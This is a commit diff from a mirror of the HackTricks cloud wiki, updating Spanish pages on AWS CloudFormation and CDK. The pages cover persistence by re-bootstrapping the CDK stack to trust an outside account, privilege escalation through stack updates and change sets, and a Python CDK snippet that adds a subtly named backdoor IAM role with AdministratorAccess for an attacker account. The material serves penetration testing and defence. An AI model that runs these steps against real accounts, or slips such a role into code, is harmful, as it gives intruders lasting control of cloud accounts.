mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-13 13:26:31 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud
This commit is contained in:
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Para más información, accede a:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
El AWS CDK despliega un stack CFN llamado `CDKToolkit`. Este stack soporta un parámetro `TrustedAccounts` que permite a cuentas externas desplegar proyectos CDK en la cuenta de la víctima. Un atacante puede abusar de esto para otorgarse acceso indefinido a la cuenta de la víctima, ya sea utilizando la AWS cli para redeplegar el stack con parámetros, o la AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudformation
|
||||
|
||||
Para más información sobre cloudformation, consulta:
|
||||
Para más información sobre cloudformation consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
@@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
|
||||
|
||||
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
|
||||
|
||||
En este caso puedes **abusar de una pila de cloudformation existente** para actualizarla y escalar privilegios como en el escenario anterior:
|
||||
En este caso puedes **abusar de un stack de cloudformation existente** para actualizarlo y escalar privilegios como en el escenario anterior:
|
||||
```bash
|
||||
aws cloudformation update-stack \
|
||||
--stack-name privesc \
|
||||
@@ -53,7 +53,7 @@ El permiso `cloudformation:SetStackPolicy` se puede utilizar para **darte a ti m
|
||||
|
||||
Un atacante con permisos para **pasar un rol y crear & ejecutar un ChangeSet** puede **crear/actualizar una nueva pila de cloudformation y abusar de los roles de servicio de cloudformation** al igual que con CreateStack o UpdateStack.
|
||||
|
||||
La siguiente explotación es una **variación de la**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilizando los **permisos de ChangeSet** para crear una pila.
|
||||
La siguiente explotación es una **variación de la**[ **CreateStack one**](#iam-passrole-cloudformation-createstack) utilizando los **permisos de ChangeSet** para crear una pila.
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -79,7 +79,7 @@ aws cloudformation describe-stacks \
|
||||
--stack-name privesc \
|
||||
--region eu-west-1
|
||||
```
|
||||
El permiso `cloudformation:SetStackPolicy` se puede usar para **otorgarte permisos de `ChangeSet`** sobre un stack y realizar el ataque.
|
||||
El permiso `cloudformation:SetStackPolicy` se puede utilizar para **otorgarte permisos de `ChangeSet`** sobre una pila y realizar el ataque.
|
||||
|
||||
**Impacto Potencial:** Privesc a roles de servicio de cloudformation.
|
||||
|
||||
@@ -103,8 +103,53 @@ Un atacante podría abusar de este permiso sin el permiso passRole para actualiz
|
||||
|
||||
**Impacto Potencial:** Privesc a los roles de cloudformation adjuntos.
|
||||
|
||||
## AWS CDK
|
||||
|
||||
El AWS cdk es un conjunto de herramientas que permite a los usuarios definir su infraestructura como código en lenguajes con los que ya están familiarizados, así como reutilizar secciones fácilmente. El CDK luego convierte el código de alto nivel (es decir, python) en plantillas de Cloudformation (yaml o json).
|
||||
|
||||
Para usar el CDK, un usuario administrativo debe primero inicializar la cuenta, lo que crea varios roles de IAM, incluido el *rol de ejecución*, que tiene permisos \*/\*. Estos roles siguen la estructura de nombres `cdk-<qualifier>-<name>-<account-id>-<region>`. La inicialización debe hacerse una vez por región por cuenta.
|
||||
|
||||
Por defecto, los usuarios de CDK no tienen acceso para listar los roles necesarios para usar el CDK, lo que significa que necesitarás determinarlos manualmente. Si comprometes la máquina de un desarrollador o algún nodo de CI/CD, estos roles pueden ser asumidos para otorgarte la capacidad de desplegar plantillas CFN, utilizando el rol `cfn-exec` para permitir que CFN despliegue cualquier recurso, comprometiendo completamente la cuenta.
|
||||
|
||||
### Determinando los nombres de los roles
|
||||
|
||||
Si tienes `cloudformation:DescribeStacks`, los roles están definidos en una pila llamada `CDKToolkit`, y puedes obtener los nombres de allí.
|
||||
|
||||
Si estás en una máquina que ha sido utilizada para construir y desplegar proyectos de CDK, puedes obtenerlos de `cdk.out/manafest.json` en el directorio raíz del proyecto.
|
||||
|
||||
También puedes hacer una buena suposición sobre cuáles son. `qualifier` es una cadena añadida a los roles que permite que múltiples instancias de la inicialización del CDK se desplieguen a la vez, sin embargo, el valor predeterminado está codificado como `hnb659fds`.
|
||||
```
|
||||
# Defaults
|
||||
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
|
||||
cdk-hnb659fds-deploy-role-<account-id>-<region>
|
||||
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-lookup-role-<account-id>-<region>
|
||||
```
|
||||
### Agregar código malicioso al código fuente del proyecto
|
||||
|
||||
Si puedes escribir en el código fuente del proyecto, pero no puedes desplegarlo tú mismo (por ejemplo, el desarrollador despliega el código a través de CI/CD, no desde la máquina local), aún puedes comprometer el entorno agregando recursos maliciosos a la pila. Lo siguiente agrega un rol de IAM que puede ser asumido por una cuenta atacante a un proyecto de python CDK.
|
||||
```python
|
||||
class CdkTestStack(Stack):
|
||||
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
|
||||
super().__init__(scope, construct_id, **kwargs)
|
||||
|
||||
# ----------
|
||||
# Some existing code.....
|
||||
# ----------
|
||||
|
||||
role = iam.Role(
|
||||
self,
|
||||
"cdk-backup-role", # Role name, make it something subtle
|
||||
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
|
||||
managed_policies=[
|
||||
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
|
||||
],
|
||||
)
|
||||
```
|
||||
## Referencias
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - Enumeración de CloudFormation y Codestar
|
||||
# AWS - CloudFormation & Codestar Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
AWS CloudFormation es un servicio diseñado para **agilizar la gestión de recursos de AWS**. Permite a los usuarios centrarse más en sus aplicaciones que se ejecutan en AWS al **minimizar el tiempo dedicado a la gestión de recursos**. La característica principal de este servicio es la **plantilla**—un modelo descriptivo de los recursos de AWS deseados. Una vez que se proporciona esta plantilla, CloudFormation es responsable de la **provisión y configuración** de los recursos especificados. Esta automatización facilita una gestión más eficiente y libre de errores de la infraestructura de AWS.
|
||||
|
||||
### Enumeración
|
||||
### Enumeration
|
||||
```bash
|
||||
# Stacks
|
||||
aws cloudformation list-stacks
|
||||
@@ -37,13 +37,19 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de cloud
|
||||
../aws-privilege-escalation/aws-cloudformation-privesc/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-cloudformation-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
Verifica si hay **secretos** o información sensible en la **plantilla, parámetros y salida** de cada CloudFormation
|
||||
|
||||
## Codestar
|
||||
|
||||
AWS CodeStar es un servicio para crear, gestionar y trabajar con proyectos de desarrollo de software en AWS. Puedes desarrollar, construir y desplegar aplicaciones rápidamente en AWS con un proyecto de AWS CodeStar. Un proyecto de AWS CodeStar crea e **integra servicios de AWS** para tu cadena de herramientas de desarrollo de proyectos. Dependiendo de tu elección de plantilla de proyecto de AWS CodeStar, esa cadena de herramientas podría incluir control de versiones, construcción, despliegue, servidores virtuales o recursos sin servidor, y más. AWS CodeStar también **gestiona los permisos requeridos para los usuarios del proyecto** (llamados miembros del equipo).
|
||||
AWS CodeStar es un servicio para crear, gestionar y trabajar con proyectos de desarrollo de software en AWS. Puedes desarrollar, construir y desplegar aplicaciones rápidamente en AWS con un proyecto de AWS CodeStar. Un proyecto de AWS CodeStar crea e **integra servicios de AWS** para tu cadena de herramientas de desarrollo de proyectos. Dependiendo de tu elección de plantilla de proyecto de AWS CodeStar, esa cadena de herramientas puede incluir control de versiones, construcción, despliegue, servidores virtuales o recursos sin servidor, y más. AWS CodeStar también **gestiona los permisos requeridos para los usuarios del proyecto** (llamados miembros del equipo).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -64,7 +70,7 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de codes
|
||||
../aws-privilege-escalation/aws-codestar-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user